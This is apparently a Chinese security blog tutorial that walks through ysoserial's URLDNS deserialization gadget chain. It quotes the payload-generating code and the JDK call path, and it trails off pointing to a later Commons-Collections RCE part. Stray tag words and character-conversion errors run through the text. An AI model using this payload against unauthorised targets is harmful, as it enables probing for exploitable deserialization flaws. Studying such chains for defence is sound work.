本文假設你對Java基本數據結構、Java反序列化、高級特性(反射、動態代理)等有必定的瞭解。java
YsoSerial是一款反序列化利用的便捷工具,能夠很方便的生成基於多種環境的反序列化EXP。java -jar ysoserial.jar
能夠直接查看payload適用環境及其適用版本。git
關於此工具的背景,我引用P神的《Java安全漫遊》文章對其的描述:github
2015年Gabriel Lawrence (@gebl)和Chris Frohoffff (@frohoffff)在AppSecCali上提出了利⽤Apache Commons Collections來構造命令執⾏的利⽤鏈,並在年末由於對Weblogic、JBoss、Jenkins等著名應⽤的利⽤,⼀⽯激起千層浪,完全打開了⼀⽚Java安全的藍海。⽽ysoserial就是兩位原做者在此議題中釋出的⼀個⼯具,它可讓⽤戶根據⾃⼰選擇的利⽤鏈,⽣成反序列化利⽤數據,經過將這些數據發送給⽬標,從⽽執⾏⽤戶預先定義的命令。安全
下載工具源碼發現主要payload生成邏輯都在ysoserial.payloads包下面:數據結構
接下來主要針對 URLDNS、 CommonCollections1-七、CommonsBeanutils 利用鏈進行分析:app
URLDNS 是要介紹的幾條鏈中調用邏輯最簡單的一條,因此以這條鏈開始。咱們來看看yso是怎麼寫的工具
public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; }
getObject方法就是獲取最後的利用類,return的是一個以精心構造的URL對象爲key,url字符串爲值的hashMap,調試一下看下調用鏈。this
HashMap.readOject -> HashMap.hash() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()(獲取url的dns地址)url
readObject中有讀取key,而後對key進行hash操做,從yso代碼得知,hashmap的key爲精心構造的URL對象.net
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) .... .... // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
跟進hash,裏面調用了URL對象的hashCode()方法。
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
URL對象的存在默認的私有hashCode變量其值爲-1,因此會調用yso代碼中URL對象構造方法的第三個參數,URLStreamHandler的hashcode。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
private int hashCode = -1;
而後調用URLStreamHandler的getHostAddress()方法
protected int hashCode(URL u) { ... // Generate the host part. InetAddress addr = getHostAddress(u); ... return h; }
getHost 就會發起對應url的請求,後續就不用再跟了。
rotected synchronized InetAddress getHostAddress(URL u) { ... String host = u.getHost(); ... return u.hostAddress; }
以上就是URLDNS的調用邏輯,可是在yso中仍是有兩個點值得咱們注意:
首先第一個問題,這一行代碼是幹嗎的,爲何要將URL對象中的hashcode經過反射的方式設置爲-1呢,URL對象中的hash code自己就是-1,爲何要這麼作?
其實經過代碼中的註釋咱們也能知道,在hashMap進行put操做時,會調用hash()方法,進而完成了一次相似反序列化的調用,handler調用hashcode()方法時也會將默認的hashCode值進行從新計算,因此put()完,自己的hashCode已經不爲-1了,因此反序列就不會在繼續執行handler.hashCode(this),也就沒發觸發DNS請求。
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
第二個問題,其實和第一個問題同樣,在put時也會進行一次hash()調用從而進行一次dns請求,爲了不在生成payload對象時候發起dns請求,因此繼承了URLStreamHandler,實現getHostAddress、openConnection兩個方法進行空操做,進而在生產payload對象時就不會發器dns請求了。
剛開始看到這裏的時候我比較疑惑,重寫了這兩個方法到時候在使用這個payload去利用的時候不就沒發正常發起DNS請求了嗎,那這樣作意義何在?原來我忽略了一個東西,在URL類中,URLStreamHandler被transient
關鍵字標記,transient
標記的屬性在序列化時不會帶入序列化的數據裏面,這樣在生成payload或者調試的時候不會發起DNS請求,但又不影響payload的正常使用,很是巧妙。
URLDNS是一個不須要依賴其餘包的反序列化利用,且調用過程比較簡單,只會在HashMap與StreamHandler之間調用,稍微須要注意的也就是亮點,一個爲何要將hashcode最後經過反射的方式置爲-1,另外一個是爲何重寫過StreamHandler兩個方法爲空操做後仍然能在凡序化後正常發起dns請求。
雖然URLDNS這條鏈很簡單,但其實它作不了什麼,僅僅只能幫助咱們判斷這個地方可能存在用戶可控的凡序列化問題,仍然不能進行進一步的利用,那要怎麼才能利用乃至RCE呢? 下一專題Common-collections1 就來幫助咱們解決這個問題。